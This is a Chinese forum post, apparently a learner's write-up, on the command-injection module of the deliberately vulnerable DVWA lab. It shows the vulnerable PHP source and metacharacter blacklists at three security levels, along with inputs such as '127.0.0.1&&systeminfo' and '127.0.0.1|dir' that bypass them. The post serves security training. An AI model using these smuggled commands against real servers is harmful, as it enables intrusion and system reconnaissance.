《命令注入》学习

 
776 10
小菜鸟一枚 2021-11-1 21:42:10 | 显示全部楼层 |阅读模式
本帖最后由 小菜鸟一枚 于 2021-11-1 21:46 编辑

### 0x1 扫盲
  1.打开cmd窗口,输入的一行行指令就是dos命令。


  2.ping命令,用来判断特定主机是否畅通。(有的监控录像机,路由器后台等会带这个功能)


  3.net user命令,用于添加用户, 更改用户密码, 删除用户, 查看建立用户信息, 设置用户访问时间和设置用户到期时间。(以前经常碰见简单的锁机程序就是通过这个命令篡改Windows密码的)


  4.还是打开靶机,找到命令注入,试试输入127.0.0.1,看看返回。
![]()


  5.发现出现了乱码,按照百度上的解决方法:
```
1. 到DVWA安装目录下(.../WWW/DVWA-master/dvwa/includes)寻找文件dvwaPage.inc.php


2. 打开这个文件,然后在Ctrl+H全文查找charset=utf-8,将所有utf-8修改为gb2312。


    注意:有好几处charset=utf-8,要全部修改成charset=gb2312。记得保存。


3. 接下来再使用DVWA就不会乱码啦。
```


### 0x2 低安全等级
  1.查看源代码:
```
<?php


if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];


    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }


    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}


?>
```


  2.如果是Windows操作系统,直接ping,linux操作系统ping  -c 4,不然会一直ping下去。


  3.既然没有过滤直接输入127.0.0.1&&dir,直接爆出服务器的绝对路径:
```
正在 Ping 127.0.0.1 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128


127.0.0.1 的 Ping 统计信息:
    数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
    最短 = 0ms,最长 = 0ms,平均 = 0ms
驱动器 C 中的卷没有标签。
卷的序列号是 C077-D6C6


C:\phpstudy_pro\WWW\DVWA-master\vulnerabilities\exec 的目录


2021/10/30  09:13   
          .
2021/10/30  09:13   
          ..
2021/10/30  09:13   
          help
2021/10/27  15:23             1,839 index.php
2021/10/30  09:13   
          source
               1 个文件          1,839 字节
               4 个目录 25,288,224,768 可用字节
```


  4.直接输入127.0.0.1&&systeminfo,直接爆出服务器的系统信息:
```
正在 Ping 127.0.0.1 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128


127.0.0.1 的 Ping 统计信息:
    数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
    最短 = 0ms,最长 = 0ms,平均 = 0ms


主机名:           WIN7-PC
OS 名称:          Microsoft Windows 7 旗舰版
OS 版本:          6.1.7601 Service Pack 1 Build 7601
OS 制造商:        Microsoft Corporation
OS 配置:          独立工作站
OS 构件类型:      Multiprocessor Free
注册的所有人:     win7
注册的组织:      
产品 ID:          00426-292-0000007-85714
初始安装日期:     2021/9/29, 20:52:59
系统启动时间:     2021/9/30, 8:37:26
系统制造商:       VMware, Inc.
系统型号:         VMware Virtual Platform
系统类型:         x64-based PC
处理器:           安装了 1 个处理器。
                  [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~2394 Mhz
BIOS 版本:        hoenix Technologies LTD 6.00, 2015/7/2
Windows 目录:     C:\Windows
系统目录:         C:\Windows\system32
启动设备:         \Device\HarddiskVolume1
系统区域设置:     zh-cn;中文(中国)
输入法区域设置:   zh-cn;中文(中国)
时区:             (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量:     4,095 MB
可用的物理内存:   2,826 MB
虚拟内存: 最大值: 8,189 MB
虚拟内存: 可用:   6,893 MB
虚拟内存: 使用中: 1,296 MB
页面文件位置:     C:\pagefile.sys
域:               WORKGROUP
登录服务器:       \\WIN7-PC
修补程序:         安装了 2 个修补程序。
                  [01]: KB2534111
                  [02]: KB976902
网卡:             安装了 1 个 NIC。
                  [01]: Intel(R) PRO/1000 MT Network Connection
                      连接名:      本地连接
                      启用 DHCP:   是
                      DHCP 服务器: 192.168.32.254
                      IP 地址
                        [01]: 192.168.32.129
                        [02]: fe80::7b:23ce:6043:7ec0
```




  5.接下来可以使用不同的dos命令获取更多的信息了。


### 0x3 中安全等级
  1.将DVWA Security设置成medium,再来试试刚刚方法,发现不行了。
![]()


  2.还是右下角View Source查看源码:
```
<?php


if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];


    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );


    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );


    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }


    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}


?>
```


  3.发现&&被过滤掉了,这个时候我们还可以换管道符|连接,不管前面的执行结果是什么,管道符后面的命令都会执行。利用这个原理,我输入127.0.0.1|dir
![]()


  4.可以看到成功的被我绕过了。


### 0x4 高安全等级
  1.再试试中安全等级下的方法,输入127.0.0.1|dir,发现还是可以,这等级上上升哪去了???


  2.看看源码:
```
<?php


if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);


    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );


    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );


    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }


    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}


?>
```


  3.好家伙,果然难,都过滤了,但是管道符那里过滤的是|+空格,留了一条简单的道路出来。


### 0x5 总结
  1.低安全等级就是随便过,&&,&,|都可以。


  2.中安全等级过滤了&&,可以用,&,|。(我第二关就把|用了)


  3.高安全等级只留了|一个方法。


  4.这里没有演示net user命令,不知道为啥执行不成功,有知道的请指点下我。


### 0x6 参考资料
  1.[windows上 net user 命令的使用](https://jingyan.baidu.com/article/d169e1861d739d436611d888.html)


  2.[DVWA乱码问题](https://blog.csdn.net/sime_km/article/details/79887492)

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
悲年-王鹏博 2022-4-10 14:46:12 | 显示全部楼层

点评

哪里看不懂?  发表于 2022-4-14 10:21
网络渗透  发表于 2022-4-11 09:15
这就是注入呀  发表于 2022-4-11 09:14
……  发表于 2022-4-11 09:13
M---M17 2022-4-14 10:23:09 | 显示全部楼层
稍微解释一下:
DVWA(Damn Vulnerable Web App)是一个基于PHP/MySql搭建的Web应用程序,旨在为安全专业人员测试自己的专业技能和工具提供合法的 环境,帮助Web开发者更好的理解Web应用安全防范的过程。

DVWA一共包含十个模块分别是:

1.Bruce Force //暴力破解

2.Command Injection //命令注入

3.CSRF //跨站请求伪造

4.File Inclusion //文件包含

5.File Upload //文件上传漏洞

6.Insecure CAPTCHA //不安全的验证

7.SQL Injection //sql注入

8.SQL Injection(Blind) //sql注入(盲注)

9.XSS(Reflected) //反射型XSS

10.XSS(Stored) //存储型XSS

同时每个模块的代码都有4种安全等级:Low、Medium、High、Impossible。
位卑未敢忘忧国,技薄未愿负青春。
五云包子 2022-4-15 14:53:41 | 显示全部楼层

不是我敷衍啊,是我只知道这么多......
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行